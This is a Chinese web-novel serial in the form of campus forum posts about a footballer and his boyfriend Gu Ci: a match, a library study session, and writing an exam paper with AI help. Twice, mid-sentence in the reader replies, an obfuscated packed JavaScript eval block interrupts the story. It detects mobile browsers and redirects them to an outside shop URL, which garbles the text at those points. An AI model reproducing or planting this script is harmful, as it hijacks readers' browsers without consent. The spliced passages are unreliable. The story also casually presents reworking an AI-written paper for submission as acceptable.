上周有一天，吃饭的时候，我问他：“你以前看过球赛吗？” 他想了想，说：“看过。” “看过谁的？” “你的。” 我愣了一下。 他说：“新生杯的时候，我去看过。” “后来也去过几次。” “你进球的时候，旁边的人都在喊，我没喊。” “但我挺高兴的。” 他说这话的时候，语气很平淡，像在说今天天气不错。 但我听得心跳漏了一拍。 他去看过我的比赛。 不止一次。 他坐在看台上，看我跑来跑去，看我进球。 他没喊，但他挺高兴的。 我问他：“你怎么不告诉我？” 他看了我一眼，说：“告诉你干嘛？你踢球又不是给我看的。” 我说：“可以给你看啊。” 他没说话。 但耳朵红了。 —— 后来我鼓起勇气问他：“那这周末的训练，你要不要来看？” 他想了想，说：“周末？” “嗯，周六下午，我们队内训练赛。” 他沉默了几秒。 然后说：“我考虑一下。” 考虑一下。 这四个字让我心里打鼓。 他是不是不想来？是不是不好意思拒绝？是不是觉得来球场浪费时间？ 我说：“没事，你不来也行，反正就是训练，没什么好看的。” 他看了我一眼，那眼神有点复杂。 但没说什么。 —— 周六下午，训练前我在更衣室换衣服。 脑子里一直转：他会来吗？他会不会来？ 手机拿出来看了八百遍，没有他的消息。 我想，算了，应该是不来了。 也是，人家一个文学院学霸，周末不看书，来看一群体育生抢球？ 换我也不来。 我深吸一口气，把手机锁进柜子里。 不去想了。 专心训练。 —— 训练开始半小时后，我们在做分组对抗。 我刚进了一个球，正往回跑。 余光扫到球场边的看台。 那里站着一个穿米白色毛衣的人。 阳光下，那人安安静静地站着，手里拎着什么东西。 我的心跳突然就停了半拍。 是顾辞。 他来了。 —— 兄弟们，你们能想象那个画面吗？ 球场上所有人都在跑，都在喊，都在抢球。 看台上稀稀拉拉坐着几个人，都是家属或者路过的人。 但他站在那儿。 穿着那件我最喜欢的米白色毛衣。 阳光从他身后照过来，把他整个人笼在一层光里。 他手里拎着一个袋子，不知道里面是什么。 他就那么站着，安安静静的。 但我知道他在看我。 他看的是我。 那一瞬间，我脑子里只有一个念头： 操。 值了。 这辈子值了。 —— 比赛还在继续，我不能停下来。 但之后的时间，我整个人像打了鸡血一样。 跑得比平时快，抢得比平时凶，进球之后还会偷偷往看台瞟一眼。 每次瞟过去，都看见他在那儿。 有时候他在看球场，有时候他在看手机，有时候他好像在发呆。 但他一直没走。 就那么坐着，等着。 偶尔我跑近的时候，会和他对视一眼。 他嘴角会弯一下，很轻，但我看见了。 那个笑比阳光还亮。 —— 比赛结束，我满头大汗往他那边跑。 他站起来，把那个袋子递给我。 我打开一看—— 一瓶矿泉水，一瓶运动饮料，还有一条叠得整整齐齐的毛巾。 矿泉水是冰的，正好解渴。 运动饮料是补充电解质的，正好适合运动后喝。 毛巾是新的，软软的，上面还有洗衣液的香味。 我愣住了。 他耳朵红红的，脸上还是那副淡淡的表情。 但他说的话是： “不知道你爱喝哪种，就都买了。” “毛巾是新买的，洗过了，应该干净。” 我张了张嘴，不知道该说什么。 他看了我一眼，说：“傻站着干嘛，擦汗啊。” 我这才反应过来，拿毛巾擦脸。 毛巾软软的，香香的，擦在脸上特别舒服。 —— 后来我们坐在看台上，我喝水，他看天。 我忍不住问：“你怎么想到买毛巾？” 他说：“你每次训练完，都用衣服擦汗。” “那样不好，衣服脏，汗也擦不干净。” “所以买了毛巾。” 我又问：“那水呢？” 他说：“你平时喝矿泉水，但运动后应该喝点电解质。” “我不知道你喜欢什么牌子，就随便买的。” 他说的“随便”，是两瓶不同的水，一瓶冰的一瓶常温的。 这哪是随便。 这是想了又想，才准备好的。 我看着手里的毛巾，看着旁边的两瓶水，突然觉得眼眶有点酸。 我说：“顾辞。” “嗯？” “你是全世界最好的男朋友。” 他没说话。 只是轻轻靠在我肩膀上。 —— 现在我已经回宿舍了。 那条毛巾我没舍得用，叠好放枕头边了。 两瓶水喝完了一瓶，另一瓶舍不得喝，放桌上了。 满脑子都是他站在阳光里的样子。 手里拎着袋子，安安静静等着我的样子。 我问他：“你不是说考虑一下吗？怎么直接来了？” 他说：“考虑完了，来。” 我说：“那你也不告诉我一声。” 他说：“告诉你干嘛？告诉你，你肯定紧张，影响发挥。” 我说：“那你就不怕我发挥不好？” 他看了我一眼，说：“你什么时候发挥不好过？” 我说：“那万一呢？” 他说：“万一也没事。你踢得不好也是你。” 我被他这句话堵得说不出话来。 他看我那样，嘴角弯了一下。 然后他说：“张扬。” “嗯？” “你今天进了三个球，我都数了。” “第三个球特别帅。” 我愣住了。 他居然数了。 他居然记得我进了几个球。 他居然说“第三个球特别帅”。 我看着他，突然特别想亲他。 但看台上有人，没敢。 只是握紧了他的手。 —— 兄弟们。 我今天真的很高兴。 比赢了市冠军还高兴。 因为那个市冠军，是我自己拿的。 但今天这个高兴，是他给我的。 那条毛巾，那两瓶水，那些话，那个笑。 全都是他给我的。 我现在觉得自己是全世界最幸福的人。 —— 1楼匿名用户： 沙发！ 楼主你今天不是来求助的，是来喂狗粮的！ 2楼匿名用户： 妈的，我刚吃完饭，又被喂了一嘴狗粮。 楼主你是人吗？？？ 3楼匿名用户： 我招谁惹谁了？我一个单身狗，为什么要看这个？ 4楼匿名用户： 但是好好磕啊！！！ 顾辞也太会了吧！！！ 矿泉水、运动饮料、新毛巾！！！ 这谁顶得住啊！！！ 5楼匿名用户： “不知道你爱喝哪种，就都买了” “毛巾是新买的，洗过了” “你踢得不好也是你” “第三个球特别帅” 我死了！！！这什么神仙男友！！！ 6楼匿名用户： 顾辞平时看起来冷冷淡淡的，怎么对楼主这么好啊！！！ 又是偷看比赛，又是准备毛巾，又是数进球！！！ 这不是爱是什么！！！ 7楼匿名用户： 回6楼：因为他是顾辞啊。 对外人冷淡，对喜欢的人把心都掏出来。 8楼匿名用户： 楼主你上辈子拯救了银河系吧？？？ 怎么找到这样的男朋友？？？ 9楼楼主： 回8楼：不是我找的，是他等了我十四年。 10楼匿名用户： 回9楼：…… 行吧。 又被他装到了。 11楼匿名用户： 但楼主也值得啊！ 你们想想，楼主从第一帖到现在，变了多少？ 从一个“我是直男”的傻子，变成了会说“你是全世界最好的男朋友”的人。 这就是双向奔赴！ 12楼匿名用户： 对！ 顾辞对楼主好，是因为楼主也对他好。 他们俩都值得！ 13楼匿名用户： 话说回来，那条毛巾楼主真的舍不得用？ 那放枕头边干嘛？闻味儿吗？ 14楼楼主： 回13楼：…… 要你管。 15楼匿名用户： 哈哈哈哈哈哈！ 被说中了！ 楼主就是闻味儿！ 16楼匿名用户： 那两瓶水呢？ 一瓶喝了，一瓶舍不得喝？ 放桌上供着？ 17楼楼主： …… 那是他给我买的。 舍不得喝怎么了？ 18楼匿名用户： 没什么没什么。 理解理解。 恋爱中的人都这样。 19楼匿名用户： 我恋爱过吗？没有。 但我看楼主恋爱，感觉自己也谈了一场。 20楼匿名用户： 回19楼：真实。 这就是赛博恋爱吧。 21楼匿名用户： 楼主，你今天表白了吗？ 说“你是全世界最好的男朋友”的时候，顾辞什么反应？ 22楼楼主： 他耳朵红了。 然后靠我肩膀上了。 没说话。 但我知道他高兴。 23楼匿名用户： 呜呜呜呜呜！！！ 这个画面我能脑补一万遍！！！ 顾辞害羞的样子一定特别好看！！！ 24楼匿名用户： 楼主你能不能发张照片？ 我们就看一眼！ 25楼楼主： 不行。 说了他的照片只能我一个人看。 26楼匿名用户： 小气鬼！ 但理解。 毕竟是我们儿媳妇，得保护隐私。 27楼匿名用户： 话说回来，楼主你今天踢球的时候，是不是特别猛？ 因为顾辞在看？ 28楼楼主： ……是。 进了三个球。 平时训练赛最多进两个。 29楼匿名用户： 看吧！ 这就是爱情的力量！ 顾辞就是你的肾上腺素！ 30楼匿名用户： 顾辞说“第三个球特别帅”，哪个球？怎么帅的？描述一下！ 31楼楼主： 就是……我一个带球过了三个人，然后远射破门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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53楼匿名用户： 就随口说了一句，他记了一周。 然后默默准备好东西，默默出现在球场边。 这是什么偶像剧剧情！！！ 54楼匿名用户： 楼主你确定你是直男？ 你确定不是你追的他？ 55楼楼主： …… 是我先表白的。 但他等了我十四年。 所以算双向奔赴吧。 56楼匿名用户： 双向奔赴这个词，用在这儿真合适。 他等你十四年，你终于开窍。 然后他用行动告诉你，等你是值得的。 57楼匿名用户： 呜呜呜，我又哭了。 这帖子从第一集追到现在，太不容易了。 58楼匿名用户： 所以楼主，你现在什么感觉？ 有没有觉得特别幸福？ 59楼楼主： 有。 特别幸福。 幸福到有时候觉得不真实。 怕一觉醒来，发现是梦。 60楼匿名用户： 不是梦。 是真的。 你发帖子我们都看见了。 顾辞给你买毛巾我们都知道了。 你进三个球我们都数了。 61楼匿名用户： 对！ 这些都是真的。 所以你要好好珍惜。 好好对他。 62楼楼主： 嗯。 我会的。 这辈子就他了。 63楼匿名用户： 行了行了，别说了。 再说我又要哭了。 今天狗粮吃太饱，睡觉了。 64楼楼主： 好。 晚安。 谢谢你们。 —— 【最后的最后】 张扬躺在床上，手里拿着那条毛巾。 软软的，香香的。 他想起顾辞站在阳光里的样子。 想起顾辞把毛巾递给自己的样子。 想起顾辞说“第三个球特别帅”时，眼睛亮亮的样子。 手机震了一下。 【圆圆】：睡了？ 【张】：没。 【圆圆】：在想什么？ 【张】：在想你。 【圆圆】：…… 【张】：在想你今天给我买毛巾买水，站在球场边等我的样子。 【张】：顾辞。 【圆圆】：嗯？ 【张】：你今天特别好看。 【张】：比阳光还好看。 【圆圆】：…… 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你今天踢球的时候，也特别好看。 【圆圆】：尤其是第三个球。 【张】：你不是说过了吗？ 【圆圆】：再说一遍不行吗？ 我盯着那行字，笑了。 笑得像个傻子。 然后我打字： 【张】：行。 【张】：你说多少遍都行。 【张】：我记着。 【张】：这辈子都记着。 【圆圆】：嗯。 【圆圆】：晚安，张扬。 【张】：晚安。 —— 窗外有月光。 很亮。 张扬把毛巾贴在脸上，闭上眼睛。 是顾辞给自己买的毛巾。 是顾辞站在阳光里等自己的那天。 是他说的那句“第三个球特别帅”。 全都是他。 全都是。 16. 陪学霸男友自习是什么体验？ 标题：【树洞】陪学霸男友自习是什么体验？ 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 今天不约会，不告白，不吃醋。 今天讲一个普通的下午。 ——一个体育生陪学霸男友在图书馆自习的下午。 事情是这样的。 顾辞最近在忙两件事：支教申请和学生会的什么材料。 我不懂，反正就是很多字要写，很多表要填。 作为一个体贴的男朋友，我主动提出：“我陪你去图书馆。” 他看了我一眼，那眼神的意思是：你不无聊吗？ 我说：“不无聊，看你就不无聊。” 他耳朵红了一下，没说话。 然后我们就去了。 ——不过不是去普通阅览室——那儿不能说话，我倒是没问题，但他偶尔要接电话、和人讨论材料，不方便。 所以我们去的是图书馆三楼的单人研修间。 就是那种小隔间，一张桌子几把椅子，门一关，外面听不见里面。 他提前在系统上预约的，一周能约几次。 —— 下午两点，图书馆三楼，研修间6号。 房间不大，一面是磨砂玻璃墙，一面是白板，中间一张长桌。 他坐里面，我坐外面。 他面前摊着一堆书、笔记本、电脑。 我面前摊着一本《足球战术图解》——装样子用的，其实半小时没翻页。 阳光从窗户照进来，落在他的侧脸上。 他低头写字，睫毛垂下来，在眼睛下面落了一小片阴影。 偶尔伸手翻书，袖口露出一小截手腕。 好看得要命。 我就那么看着他，看了半个小时。 他抬头看我：“你不看书？” 我说：“在看。” “看什么？” “看你。” 他瞪了我一眼。 但那个瞪，一点杀伤力都没有。 反而让我更想看他了。 —— 下午两点半，有人敲门。 笃笃笃，三下，轻轻的。 顾辞说了声“请进”。 门推开，进来一个女生。 学生会的，来找顾辞商量什么“换届材料”的事。 她站在桌子旁边，弯腰跟顾辞说话。 声音细细的，态度客客气气的。 顾辞抬头听她说，偶尔点点头，偶尔回一两句。 我在旁边，假装看书。 但耳朵竖得比天线还高。 他们在说什么？ 什么换届？什么候选人？什么截止时间？ 我听不太懂，但有一点我听懂了—— 这个女生，和顾辞很熟。 她叫他“顾辞”，不是“顾同学”，不是“学长”。 直接叫名字。 而且她说话的时候，眼睛一直盯着他看。 那眼神，怎么说呢…… 不是我多想，是真的有点亮。 我在旁边坐着，突然就觉得浑身不自在。 不是生气，就是……想站起来，挡在他们中间。 但我忍住了。 我继续翻我的《足球战术图解》，假装什么也没听见。 —— 她在说，我在听。 她笑了一下，我眉头皱了一下。 她又往前凑了一点，我把书翻得哗啦响。 顾辞突然抬头看了我一眼。 那眼神，好像什么都看透了。 但他没说什么，继续和那个女生说话。 又过了五分钟，女生终于走了。 临走还回头看了一眼。 我盯着她的背影，直到门关上。 然后我低头，继续看书。 但一个字也看不进去。 —— 门关上之后，顾辞突然伸手，在我面前晃了晃。 “看什么呢？” 我说：“看书。” 他说：“书拿反了。” 我低头一看。 操，真的反了。 我默默把书转过来。 他在旁边笑了一下，很轻，但我听见了。 然后他说：“那是学生会的干事，来问材料的。” 我说：“哦。” 他说：“她是女生，但我对她没意思。” 我说：“我知道。” 他说：“那你拿反书？” 我说：“……” 我说：“我就是……下意识。” 他又笑了。 这次笑得明显一点，眼睛都弯起来。 然后他说：“张扬。” “嗯？” “你吃醋的样子，挺可爱的。” 我的脸“腾”地一下红了。 —— 下午三点半，又有人敲门。 这回是个男生，高高瘦瘦的，戴着眼镜。 他是来问支教的事。 什么“面试时间”、“材料准备”、“推荐信怎么写”。 顾辞一一回答他，语气很平淡。 但我注意到一个问题—— 这个男生，看顾辞的眼神也不对劲。 不是那种“请教问题”的眼神。 是那种……崇拜。 对，就是崇拜。 他听顾辞说话的时候，眼睛亮亮的，时不时点头，时不时“嗯嗯”应和。 而且他站得特别近。 近到我觉得他再往前一步，就要碰到桌子了。 我在旁边，又开始不舒服了。 这回不是拿反书的问题。 这回是我想把这个人直接请走。 —— 男生问完问题，还不走。 又开始聊别的。 什么“学长你平时看什么书”、“学长你支教想去哪儿”、“学长你毕业有什么打算”。 我听着听着，手里的笔“啪”地一声，被我折断了。 男生吓了一跳，看向我。 顾辞也看向我。 我面无表情地说：“没事，笔质量不好。” 男生“哦”了一声，继续转回去和顾辞说话。 但我发现，他往后退了一步。 ——可能是被我的气势吓到了。 我继续翻书，继续“看书”。 但我知道，我刚才那一下，肯定特别像恶龙在宣誓主权。 —— 男生终于走了。 门关上之后，顾辞转过头看我。 他看了我一会儿，突然笑了。 那个笑，比下午的阳光还亮。 他说：“张扬，你知道你现在像什么吗？” 我说：“像什么？” 他说：“像看守公主的恶龙。” 我愣住了。 他说：“坐在那儿，竖着耳朵，盯着每一个敲门的人。” “一有人进来，你就紧张。” “一有人多说话，你就想赶人。” “书拿反了都不知道。” “笔都折断了。” “不是恶龙是什么？” 我张了张嘴，不知道该说什么。 他继续说：“但你知道吗？” “恶龙看守的公主，其实挺开心的。” 我心跳漏了一拍。 他说：“因为恶龙在乎她。” “恶龙紧张她。” “恶龙不想让别人靠近她。” “这不就是喜欢吗？” 我看着他的眼睛，那双眼睛里有阳光，有笑意，还有我。 然后我忍不住，伸手握住了他放在桌上的手。 他愣了一下，没躲。 耳朵红红的。 但嘴角弯着。 —— 后来再也没有人来敲门。 他继续写材料，我继续“看书”。 但我一直握着他的手，没松开。 他也没抽回去。 就那么让我握着。 偶尔翻书的时候，会用另一只手。 偶尔写字的时候，会用另一只手。 但被我握着的那只手，一直放在桌上。 阳光从窗户照进来，落在我们交握的手上。 暖暖的。 —— 现在我已经回宿舍了。 躺在床上，满脑子都是他说的那些话。 “像看守公主的恶龙。” “恶龙看守的公主，其实挺开心的。” “因为恶龙在乎她。” 操。 这人怎么这么会说话？ 明明是说我吃醋，明明是说我不够大度。 但被他这么一说，好像我吃醋都变成了可爱的事。 我给他发消息： 【张】：到宿舍了吗？ 【圆圆】：到了。 【张】：今天下午…… 【张】：我是不是太明显了？ 【圆圆】：什么明显？ 【张】：吃醋。 【圆圆】：还好。 【张】：还好是什么意思？ 【圆圆】：就是……在意料之中。 【张】：？？？ 【圆圆】：你上次吃我哥的醋，这次吃学生会的醋，下次吃谁的？ 【张】：…… 【张】：你不会嫌我烦吧？ 【圆圆】：不会。 【圆圆】：你吃醋的时候，挺可爱的。 又是“可爱”。 今天他说了两次“可爱”。 我盯着那两个字，嘴角快咧到耳朵根。 然后我打字： 【张】：那你以后别让那些人靠那么近。 【张】：我会吃醋。 【圆圆】：好。 【圆圆】：那你也别让别人靠太近。 【张】：我哪有别人？ 【圆圆】：足球队的那群。 【张】：他们是男的！ 【圆圆】：男的也不行。 我看着那行字，笑了。 原来他也会吃醋。 原来他不是不在意。 他只是不说。 —— 兄弟们。 今天下午在研修间，我像个傻子一样，拿着反了的书，盯着每一个敲门的人。 折断了一支笔，吓跑了一个男生。 但他说，那是“恶龙看守公主”。 他说，公主很开心。 我突然觉得，当恶龙也挺好的。 因为我的公主，只有我能看。 —— 1楼匿名用户： 沙发！ 楼主你今天不是来求助的，是来秀恩爱的！ 2楼匿名用户： “像看守公主的恶龙”哈哈哈哈哈哈！ 这个比喻绝了！ 3楼匿名用户： 代入一下：顾辞是公主，楼主是恶龙。 公主在研修间写材料，恶龙在旁边盯着每一个敲门的人。 有人进来，恶龙竖耳朵。 有人多说话，恶龙折笔。 哈哈哈哈哈哈太形象了！ 4楼匿名用户： 楼主你是真的……占有欲爆表啊！ 人家来问问题，你连笔都折了？？？ 5楼楼主： 回4楼：我也不是故意的。 就是下意识一用力…… 6楼匿名用户： “下意识一用力”哈哈哈哈！ 你那支笔做错了什么？ 7楼匿名用户： 笔：我招谁惹谁了？我只是一支无辜的笔！ 8楼匿名用户： 但是顾辞的反应也太甜了吧！ “恶龙看守的公主，其实挺开心的” “因为恶龙在乎她” 这是什么神仙情话！！！ 9楼匿名用户： 顾辞真的太会了！！！ 明明是在说楼主吃醋，结果说成了“你在乎我所以吃醋，我开心因为你在乎我”！ 逻辑闭环！！！ 10楼匿名用户： 而且他还说楼主吃醋的样子“可爱”！ 说了两次！ 他是真的觉得楼主可爱！ 11楼匿名用户： 190的体育生，折断笔，拿反书，瞪着每一个敲门的人。 然后他男朋友说：挺可爱的。 这什么偶像剧剧情？？？ 12楼匿名用户： 我嗑死了！！！ 恶龙x公主，这是什么神仙设定！！！ 13楼匿名用户： 楼主你注意到没有，顾辞说“那你也别让别人靠太近”。 他也在吃醋！ 吃足球队那群人的醋！ 14楼匿名用户： 对对对！ “他们是男的！”“男的也不行！” 顾辞的占有欲也不差！ 15楼匿名用户： 双向吃醋，双向奔赴，双向可爱！ 这俩人锁死吧，钥匙我吞了！ 16楼匿名用户： 话说回来，楼主你下午真的看了半小时顾辞没看书？ 17楼楼主： …… 是。 18楼匿名用户： 半小时啊！ 你盯着他看了半小时！ 他没发现？ 19楼楼主： 他发现了。 他抬头看了我一眼，说“你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382528|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看书吗”，我说“看你”。 他就没再问了。 20楼匿名用户： 啊啊啊啊啊！ “看你”！ 就两个字，但好甜！ 21楼匿名用户： 顾辞被这么盯着看，还能专心写材料？ 他定力也太强了吧！ 22楼楼主： 他好像习惯了。 我平时也经常看他。 23楼匿名用户： “平时也经常看他”…… 行了，不用说了，我们知道你是恋爱脑了。 24楼匿名用户： 楼主你现在已经完全不是那个“我是直男”的楼主了。 你现在是“我是恶龙，我要看守我的公主”的楼主。 25楼匿名用户： 赛博父母很欣慰。 儿子终于找到了自己的定位。 26楼匿名用户： 话说回来，那个女生和那个男生，你们知道是谁吗？ 会不会以后还来？ 27楼楼主： 女生是学生会的，以后可能还会找顾辞商量事情。 男生我不认识，支教的事问完了应该不会再来了吧。 28楼匿名用户： 那你以后怎么办？ 每次都在旁边盯着？ 29楼楼主： …… 他说不嫌我烦。 那我就继续盯着。 30楼匿名用户： 哈哈哈哈哈哈！ “他说不嫌我烦，那我就继续盯着”！ 这是什么理直气壮的占有欲！ 31楼匿名用户： 顾辞：我男朋友像恶龙一样盯着每一个靠近我的人。 网友：你不烦吗？ 顾辞：挺可爱的。 绝配！ 32楼匿名用户： 楼主，下次别折笔了。 笔是无辜的。 你瞪他们就行。 33楼楼主： 我瞪了。 那个男生后来往后退了一步。 34楼匿名用户： 哈哈哈哈哈哈！ 有效！ 恶龙瞪眼技能get！ 35楼匿名用户： 那下次那个女生再来，你也瞪她？ 36楼楼主： 女生…… 女生不太好瞪吧？ 37楼匿名用户： 怎么不好瞪？ 一视同仁！ 恶龙不分男女！ 38楼匿名用户： 对对对！ 只要是靠近公主的，都瞪！ 瞪到他们自动退散！ 39楼楼主： …… 行吧。 我试试。 40楼匿名用户： 楼主你现在是彻底被带偏了。 但偏得好！ 这才是恋爱该有的样子！ 41楼匿名用户： 话说回来，你们今天下午牵手了吗？ 一直握着？ 42楼楼主： 嗯。 从他发现我吃醋之后，就一直握着。 他写字用另一只手，翻书用另一只手。 被我握着的那只手，一直放在桌上。 43楼匿名用户： 呜呜呜呜呜！！！ 这个画面我能脑补一万遍！！！ 阳光照在交握的手上！！！ 这是什么偶像剧名场面！！！ 44楼匿名用户： 而且顾辞居然让他握了一下午！ 学霸的定力是真的强！ 被握着还能专心写材料！ 45楼楼主： 他说习惯了。 我平时也经常握他。 46楼匿名用户： “平时也经常握他”…… 行了行了，知道你恋爱了。 47楼匿名用户： 楼主，明天还去图书馆吗？ 48楼楼主： 去。 他说材料还没写完。 我继续陪他。 还是那个研修间，他预约好了。 49楼匿名用户： 记得带本书，别拿反了。 50楼楼主： …… 知道了。 51楼匿名用户： 记得多带几支笔，别又折了。 52楼楼主： …… 好。 53楼匿名用户： 记得带水带零食，别饿着你的公主。 54楼楼主： 带了。 他喜欢吃的那个小蛋糕，我买了。 55楼匿名用户： 行吧，你已经是个合格的恶龙了。 赛博父母放心了。 56楼匿名用户： 去吧儿子。 明天继续守护你的公主。 57楼楼主： 好。 晚安。 谢谢你们。 —— 【最后的最后】 张扬把手机放下。 窗外有月光。 他想起今天下午，阳光照在顾辞脸上的样子。 想起顾辞说的那些话。 想起他一直被自己握着的手。 手机震了一下。 【圆圆】：睡了？ 【张】：没。 【圆圆】：在想今天下午？ 【张】：嗯。 【圆圆】：我也是。 【张】：顾辞。 【圆圆】：嗯？ 【张】：我明天还陪你去研修间。 【张】：还盯着每一个敲门的人。 【张】：还吃醋。 【张】：你会不会觉得我烦？ 【圆圆】：不会。 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你知道吗，有人在乎的感觉，很好。 【圆圆】：我以前一个人去研修间，一个人写材料，一个人做所有事。 【圆圆】：现在有个人在旁边盯着我，握着我的手，吃我的醋。 【圆圆】：挺好的。 张扬看着那几行字，眼眶有点酸。 然后快速打字： 【张】：那我以后都陪你去。 【张】：一直陪着。 【圆圆】：好。 【圆圆】：晚安，恶龙。 【张】：晚安，公主。 —— 窗外有月光。 很亮。 张扬闭上眼睛，嘴角还挂着笑。 恶龙和公主。 好像也不错。 17. 上天赐给我这么好的男朋友，你们就嫉妒吧^…… 标题：【树洞】上天赐给我这么好的男朋友，你们就嫉妒吧 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 期末了。 传说中的考试周，来了。 作为一个体育生，我本来对期末没什么概念——平时分够了就行，考试能过就过。 但今年不一样。 今年我有男朋友了。 男朋友是文学院学霸，年级第一，拿国奖的那种。 这就意味着—— 我的期末，不再是我一个人的期末了。 —— 还是图书馆三楼的研修间。 还是6号。 他预约的，一周三次，每次一下午。 桌上堆着他的书：古代文学、现代汉语、英语、政治…… 我的东西呢？ 电脑、平板、还有他给我整理的复习资料。 别问我为什么带平板——看课件用的，虽然我主要用它看球赛集锦。 —— 事情要从上周说起。 《运动心理学》要交期末论文，3000字。 我拖到上周才开始写。 但我不是傻的，我会用AI。 打开电脑，打开那个对话框，输入： “帮我写一篇运动心理学的论文，3000字，关于点球大战的心理素质。” 五分钟，AI给我生成了一篇。 我大喜，复制粘贴，改了几个词，交上去了。 然后被助教打回来了。 批注：“AI生成痕迹明显，请重写。” 操。 我忘了AI写的会有那种……怎么说呢，很AI的味道。 助教一眼就看出来了。 没办法，只能自己写。 我写了一周，憋出来800字，然后卡住了。 “运动员在比赛中心理状态很重要。点球的时候心理状态不好就会踢飞。我踢点球从来没飞过，因为我心理状态好。” 就这水平。 我自己看着都头疼。 —— 上周五，顾辞说：“论文给我看看。” 我把电脑递给他。 他看了三分钟，表情从平静到微妙到……那种“我该怎么说才能不伤他自尊”的复杂。 然后他深吸一口气。 “你用AI写过？” 我惊了：“你怎么知道？” “因为你自己写的这部分，和你AI生成的那部分，风格完全不一样。” 他指给我看： “你看，AI写的这段，用词很规范，但空话连篇，没有实际内容。” “你自己写的这段，虽然糙，但至少是你的真实体会。” “如果能把这两者结合一下，就好了。” 我听得一愣一愣的。 他又说：“你知道你AI生成的那篇，为什么被助教看出来了？” “为什么？” “因为没加参考文献，没调格式，没结合你的专业背景。” 他打开我的文档，开始给我演示： “你看，你把这段复制进去，然后加上引用——你在体院的，可以引用《中国体育科技》的文章。” “这一段，结合你自己的经历——你不是踢过点球大战吗？写进去。” “这一段，太口语了，稍微改一下，但核心意思保留。” “最后，调好格式，加上参考文献列表。” 他一边说一边操作，十分钟，我那篇被退回的AI论文，变成了像模像样的学术文章。 我看着他，目瞪口呆。 他抬头看我：“怎么？” 我说：“你连AI都会用？” 他说：“AI是工具，又不是洪水猛兽。会用很正常。” 顿了顿，他又说： “但你得会用，不能全扔给它。” “你得知道它写的哪里好哪里不好，哪里能留哪里要改。” “这才是用AI的正确方式。” 我看着他的眼睛，里面有一点无奈，一点耐心，还有一点“我怎么找了个这么笨的男朋友”的宠溺。 操。 那一刻我觉得，这人简直是神仙。 —— 后来我们真的开始一起写论文。 不是他帮我写，是他在旁边，我写。 遇到不会的地方，我先问AI。 AI给出答案，我看不懂，就问他。 他看完AI的答案，给我解释一遍。 解释完，我再结合自己的理解，用自己的话写进去。 一来一回，效率高了很多。 他写自己的论文，我在旁边敲键盘。 偶尔抬头看他一眼，偶尔被他抓到我在看他。 他会耳朵红一下，然后说：“看什么看，快写。” 我就低头继续写。 写到一半，又卡住了。 他放下笔，转过来看我。 “哪一段？” 我说：“这个……我不知道怎么把理论和我的经历结合。” 他想了想，说：“你是怎么踢点球的？” 我说：“就……看着守门员，等他先动，然后踢反方向。” 他说：“那你写进去啊。” “就用这句话，‘作者在比赛中曾多次主罚点球，经验表明，观察守门员的重心移动是决定射门方向的关键’。” “这不就是你的经历吗？” 我愣住。 他说：“论文不一定要用很复杂的词。真实经历，加上理论支撑，就是好文章。” 我看着屏幕，又看看他。 突然特别想亲他。 但这是在图书馆，不能。 所以只是伸手，握住了他的手。 他愣了一下，没躲。 耳朵红红的。 但嘴角弯着。 —— 一下午过去，我的论文写完了。 从800字到3200字，从AI生成的废话到结合自己经历的真实内容。 格式对了，引用标了，参考文献列了。 我发给助教，助教回了一个“收到”。 虽然没说“很好”，但至少没退回来。 我看着屏幕，有点不敢相信。 “这是我写的？” 他在旁边笑了一下。 “是你写的，我帮忙指导的。” 我看着那3200字，又看看他。 然后我说：“顾辞。” “嗯？” “你是神仙吗？” 他愣了一下，然后耳朵又红了。 “胡说什么。” “真的，”我说，“你怎么什么都会？论文会写，AI会用，还会教人。” 他低着头，声音很轻： “不是什么都会。” “只是……想帮你。” —— 现在我已经回宿舍了。 躺在床上，满脑子都是今天下午。 他教我改论文的样子。 他演示怎么用AI的样子。 他说“想帮你”时耳朵红红的样子。 操。 我上辈子是不是拯救了银河系？ 不然怎么配有这么好的男朋友？ —— 兄弟们。 我知道你们要说我秀恩爱。 但我今天必须秀。 因为这么好的男朋友，不秀出来，对不起他。 —— 1楼匿名用户： 沙发！ 楼主你今天又是来炫夫的！ 2楼匿名用户： “我会用AI”哈哈哈哈哈哈！ 楼主你终于不是原始人了！ 3楼匿名用户： 回2楼：笑死，楼主之前的表现确实像个不用互联网的原始人。 4楼匿名用户： 但楼主用AI写论文被助教打回来了哈哈哈哈！ “AI生成痕迹明显”！ 太真实了！ 5楼匿名用户： 我也被助教说过“AI痕迹明显”！ 但楼主你知道为什么吗？ 因为你没加参考文献！ 因为你没结合自己的专业背景！ 因为你就复制粘贴！ 6楼匿名用户： 顾辞那个演示绝了！ “AI是工具，不是洪水猛兽。会用很正常。但你得会用，不能全扔给它。” 这才是正确的AI使用观！ 7楼匿名用户： 顾辞居然连AI都会用！！！ 文学院学霸的科技树点得也太全了吧！！！ 8楼匿名用户： 而且他还会教楼主怎么用！！！ 一边解释AI给的答案，一边让楼主自己写！！！ 这是什么神仙教学法！！！ 9楼匿名用户： 楼主你这段： “AI给出答案，我看不懂，就问他。他看完AI的答案，给我解释一遍。解释完，我再结合自己的理解，用自己的话写进去。” 这不就是AI时代的学霸辅导学渣的标准流程吗！ 10楼匿名用户： 关键是顾辞好有耐心啊！ 明明自己也要写论文，还要抽时间教楼主怎么用AI。 这不是爱是什么！ 